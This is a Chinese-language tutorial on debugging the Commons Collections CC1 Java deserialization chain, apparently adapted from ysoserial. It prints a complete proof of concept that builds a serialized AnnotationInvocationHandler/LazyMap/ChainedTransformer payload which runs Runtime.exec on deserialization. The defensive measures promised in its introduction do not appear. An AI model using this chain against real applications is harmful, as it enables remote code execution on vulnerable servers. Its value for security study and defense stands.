准备环境
JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)
JDK：https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe
cc3.2：
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
CC简介
Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库，它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件，被广泛运用于各种 Java 应用的开发。commons-collections这里简称cc。
CC1、CC2，这里指的不是cc库的版本，而是cc库的不同的利用方式，或者叫poc代码的攻击链构造方式，同时cc库版本对最终的利用结果有较大的影响，所以文章中会先给出对应的JDK版本和commons-collections版本，以便于后期调试不会出现差错。
正文
本文将介绍如何调试 CC1链反序列化漏洞，通过具体示例来展示如何捕获和利用这一漏洞，并最终提供防范措施，帮助开发者在应用中避免此类问题。
CC1链利用了 Apache Commons Collections 中的反序列化漏洞。攻击者通常会构造一个链式对象，其中一个对象会调用另一个对象的方法，最终通过调用一些不安全的方法来执行恶意操作。
以下介绍几个cc1链中非常重要的几个类。
Transformer
Transformer 是 Apache Commons Collections 库中的一个核心接口，用于在 Java 中实现对象转换的功能。它通常与其他一些类一起使用，例如 ChainedTransformer、InvokerTransformer 和 ConstantTransformer，来构造复杂的反序列化攻击链。在反序列化漏洞利用中，Transformer 主要用于创建对象链，最终实现执行恶意操作的目标。
Transformer 是一个简单的接口，它定义了一个通用的方法 transform()，用于将输入对象转换成输出对象。其基本形式如下：
public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer
ConstantTransformer 类实现了 Transformer 接口，其作用是将所有输入的对象转换为一个常量对象。它通常用于在对象链中生成固定的返回值。
public class ConstantTransformer implements Transformer {
private final Object constant;
public ConstantTransformer(Object constant) {
this.constant = constant;
}
public Object transform(Object input) {
return constant;
}
}
在反序列化漏洞的利用中，ConstantTransformer 经常被用来将对象转换为某个固定的对象。例如，它可以将任何传入的对象转换为一个 Runtime 类的实例，方便后续链式调用 exec() 方法来执行恶意命令。
InvokerTransformer
InvokerTransformer 是一个非常重要的实现类，它允许调用某个对象的方法并返回结果。它接受方法名和方法参数类型，并执行该方法。
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
// 这个方法中的反射是重点
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
在反序列化漏洞中，InvokerTransformer 允许攻击者通过构造恶意链来调用目标方法。例如，可以使用 InvokerTransformer 调用 Runtime.getRuntime().exec() 来执行恶意命令。
ChainedTransformer
ChainedTransformer 是一个允许将多个 Transformer 链接起来按顺序执行的类。它接收一个 Transformer 数组，并依次将输入对象传递给每个 Transformer，直到返回最终的转换结果。
public class ChainedTransformer implements Transformer {
private final Transformer[] transformers;
public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer 在反序列化漏洞利用中非常重要，因为它允许攻击者构建一条对象链，每个链环执行特定的恶意操作，最终实现目标操作。
通过Transformer构造调用链
这里是ysoserial中的代码，我们直接改一下拿来用，以方便调试
public class CommonsCollections1 {
static String serialFileName = "commons-collections1.ser";
public static void main(String[] args) throws Exception {
cc1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Transformer chain = (Transformer) ois.readObject();
chain.transform(1);
}
public static void cc1bySerial() throws Exception {
String execArgs = "calc";
// 这一段是ysoserial中的CommonsCollections代码
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 下边是自己加的代码，是为了调试
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(transformerChain);
oos.flush();
oos.close();
fos.close();
}
}
在chain执行完transform方法之后，我们构造的代码被执行，让我们来分析一下代码是如何被执行的。
ChainedTransformer构造调用链
ChainedTransformer 是一个“组合”模式的实现，允许多个 Transformer 组合成一个更复杂的行为。其工作原理是按顺序调用多个 Transformer，每个 Transformer 处理并修改输入对象，直到最终返回一个结果。
ChainedTransformer 接受一个 Transformer[] 数组，在构造时将这些 Transformer 按顺序组合成链。
transform 方法：该方法实现了 Transformer 接口。在此方法中，ChainedTransformer 依次调用每个 Transformer 对输入对象 input 进行转换。每次调用后，转换结果会成为下一个 Transformer 的输入，直到所有 Transformer 都执行完毕，最终返回转换后的结果。
我刚学习的时候好奇，Runtime.getRuntime().exec("calc")为什么不能写成以下这个样子？
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime", null, null),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
};
ChainedTransformer chain = new ChainedTransformer(transformers);
这是Runtime.getRuntime()是一个Runtime类下的一个静态方法，无法通过Transformer中的反射方法直接创建实例，所以只能写成下边这样的变种代码：
Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
OK，我们回头来看一下ConstantTransformer和InvokerTransformer是怎么个逻辑。
public class ConstantTransformer implements Transformer {
private final Object constant;
public ConstantTransformer(Object constant) {
this.constant = constant;
}
public Object transform(Object input) {
return constant;
}
}
InvokerTransformer
public class InvokerTransformer implements Transformer {
private final String methodName;
private final Class[] paramTypes;
private final Object[] args;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}
// 这个方法中的反射是重点
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
最重要的是ChainedTransformer，它将两个Transformer组合了起来：
public class ChainedTransformer implements Transformer {
private final Transformer[] transformers;
public ChainedTransformer(Transformer[] transformers) {
this.transformers = transformers;
}
// 反序列化后调用了这个方法，object任传一个即可
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
// i=0: ConstantTransformer.transform()此时object作为参数值，没有任何用，在transform执行后object对应的值会被覆盖为constant。
// i=1: InvokerTransformer.transform()接收Runtime.class,传入Runtime.class作为input，得到getRuntime方法的Class反射对象
// i=2: 传入getRuntime方法的Class反射对象，得到invoke方法实例
// i=3: 传入invoke的Method方法实例，然后调用exec方法，指定exec方法的参数是cala
object = this.iTransformers[i].transform(object);
}
return object;
}
}
ConstantTransformer {
public Object transform(Object input) {
return constant;
}
}
InvokerTransformer{
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
......
}
}
上边的调用链代码最终的调用过程非常类似于下边的过程：
// 第一个构造参数调用链
Class<Runtime> runtimeClass = Runtime.class;
Class<? extends Class> runClass = runtimeClass.getClass();
// 第二个参数调用
Method getMethod = runClass.getMethod("getMethod", String.class, Class[].class);
Object getMethodInvoke = getMethod.invoke(runtimeClass, "getRuntime", null);
// 第三个参数调用
Class<?> invokeClass = getMethodInvoke.getClass();
Method invokeMethod = invokeClass.getMethod("invoke", Object.class, Object[].class);
Object invokeMethodInvoke = invokeMethod.invoke(getMethodInvoke, null, null);
// 第四个参数调用
Class<?> execClass = invokeMethodInvoke.getClass();
Method execMethod = execClass.getMethod("exec", String.class);
execMethod.invoke(invokeMethodInvoke, "calc");
现在调用链被找到了，但是其他使用了反序列化的地方肯定不会手动调用transformer方法啊，我们需要找一个能自动调用transformer的地方，比如CC1中提到了以下类：
AbstractMapDecorator
AbstractMapDecorator 是 Apache Commons Collections 中的一个类，它实现了 Map 接口，并且提供了一个装饰器模式的实现，用来装饰一个已有的 Map 实例。AbstractMapDecorator 主要的作用是提供一个框架，允许你通过继承它来对 Map 的行为进行修改或增强。
在反序列化漏洞中，AbstractMapDecorator 是一个常见的类，用来构建复杂的 Map 装饰器，通常与其他类一起使用，配合 LazyMap、ChainedTransformer 等类，构建出恶意的链条。
AbstractMapDecorator 是一个抽象类，它实际上并不直接操作 Map，而是通过持有一个 Map 实例，并对该实例的方法进行委托（delegation）和扩展，来实现装饰器模式。
public abstract class AbstractMapDecorator<K, V> implements Map<K, V> {
protected final Map<K, V> decorated;
protected AbstractMapDecorator(Map<K, V> map) {
this.decorated = map;
}
// 接口方法实现，通过委托给装饰的 Map
public V put(K key, V value) {
return decorated.put(key, value);
}
public V get(Object key) {
return decorated.get(key);
}
public Set<Map.Entry<K, V>> entrySet() {
return decorated.entrySet();
}
// 其他 Map 接口方法，通常通过委托实现
}
decorated：这是 AbstractMapDecorator 维护的实际 Map 对象。所有的方法调用都会委托给这个 decorated 的 Map 实例，AbstractMapDecorator 只是提供了一个框架，可以对 Map 的方法进行增强。
AbstractMapDecorator有多个实现类，如：LazyMap/LazyMapDecorator、TiedMapEntry/TiedMapEntryDecorator、MapEntry/MapEntryDecorator。
LazyMap
LazyMap 是 Commons Collections 中的一个集合类，它的作用是延迟加载数据。即只有在需要的时候（例如通过 get 方法），才会触发 Transformer 链条的执行。在反序列化攻击中，LazyMap 通常用来延迟触发恶意操作，而不是在创建对象时立即执行，这有助于绕过一些检查或避免直接触发攻击。
懒加载：LazyMap 在访问某个键时，不会立即返回存储的值，而是通过 Transformer 动态生成。这个过程是懒加载的，只有在访问 get() 方法时才会触发。
触发攻击链：由于 LazyMap 能够在访问键时执行 Transformer，它被广泛用于反序列化攻击中，用来在 get() 方法中触发代码执行链（如调用 Runtime.getRuntime().exec() 执行命令）。
Proxy 和 InvocationHandler
Proxy 和 InvocationHandler 是 Java 动态代理的核心组件，在反序列化链中也经常用来实现一些动态行为：
- Proxy：
Proxy类用于创建一个代理实例，代理对象能够调用指定的InvocationHandler进行实际的调用。在反序列化链中，Proxy可能用来替代一个正常的对象，以触发代理调用的执行。 - InvocationHandler：每当
Proxy对象的方法被调用时，实际的处理逻辑会交由InvocationHandler中的invoke()方法来处理。在反序列化攻击链中，InvocationHandler可以被设置成执行危险操作，比如执行外部命令或加载恶意类。
一个简单的关于动态代理的简单例子：
public interface MyInterface {
void sayHello(String name);
}
public class MyInvocationHandler implements InvocationHandler {
private Object target;
public MyInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoking method: " + method.getName());
// 调用真实对象的方法
Object result = method.invoke(target, args);
System.out.println("After invoking method: " + method.getName());
return result;
}
}
public class DynamicProxyExample {
public static void main(String[] args) {
MyInterface target = new MyInterface() {
@Override
public void sayHello(String name) {
System.out.println("Hello, " + name);
}
};
// 创建 InvocationHandler
InvocationHandler handler = new MyInvocationHandler(target);
// 创建代理对象
MyInterface proxy = (MyInterface) Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
handler
);
// 使用代理对象，直接通过MyInvocationHandler调用到了target中的invoke方法
proxy.sayHello("World");
}
}
构造完整POC(基于ysoserial)
ysoserial中写了一些工具类来方便使用，但是这里直接把ysoserial中的代码择出来了，以便于调试学习，也对代码进行了小的调整，但区别不大。
public static void cc1bySerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap，用来将transformerChain包装成一个Map，当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 首先通过反射获取 AnnotationInvocationHandler 类的构造函数，并且确保这个构造函数可以被访问。然后通过类名加载 AnnotationInvocationHandler 类，获取该类的第一个构造函数。由于 AnnotationInvocationHandler 类的构造函数可能是私有的，调用 setAccessible(true) 可以让我们绕过 Java 的访问控制机制，允许通过反射创建其实例。
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 使用反射创建一个 AnnotationInvocationHandler 的实例，并将 Target.class 和 lazyMap 作为构造函数的参数传入，其中 Documented.class 是 AnnotationInvocationHandler 的第一个参数(其实用什么都行，找任意一个有属性的注解都可以)，lazyMap 是第二个参数。得到的handler是一个实现了 InvocationHandler 接口的实例，用于处理方法调用。此时，handler可以通过 lazyMap 进行一些动态行为处理，比如懒加载或代理。
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 通过 Proxy.newProxyInstance() 创建 LazyMap 的动态代理实例，代理对象会将方法调用委托给我们之前创建的 handler。
// LazyMap.class.getClassLoader()：指定代理类的类加载器为 LazyMap 的类加载器。
// LazyMap.class.getInterfaces()：指定代理类需要实现的接口，这里是 LazyMap 接口。
// handler：指定一个 InvocationHandler，这个 handler 会拦截对 LazyMap 代理实例的方法调用并执行自定义的逻辑。
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
// 再次使用反射，创建一个新的 AnnotationInvocationHandler 实例，并将 Documented.class 和 mapProxy 作为构造函数的参数，mapProxy 是上一步创建的 LazyMap 的动态代理对象，在这里作为参数传递给 AnnotationInvocationHandler，所以 AnnotationInvocationHandler 会被赋予一个处理懒加载行为的代理对象。
// 这意味着 AnnotationInvocationHandler 现在会在某些方法调用时与 mapProxy 交互，而 mapProxy 的方法调用会被委托给我们提供的 handler，后者在内部可以处理懒加载或其他定制的行为。
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}
总结起来就是，我们要触发AnnotationInvocationHandler中的invoke方法，而这个方法会在动态代理过程中被调用。
最后让我们运行一下，弹一个cmd窗口吧，注意这份代码只有在JDK<8u21的版本下运行才可以，推荐直接使用JDK：https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe，最后看下运行效果
调用链总结 - ysoserial
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()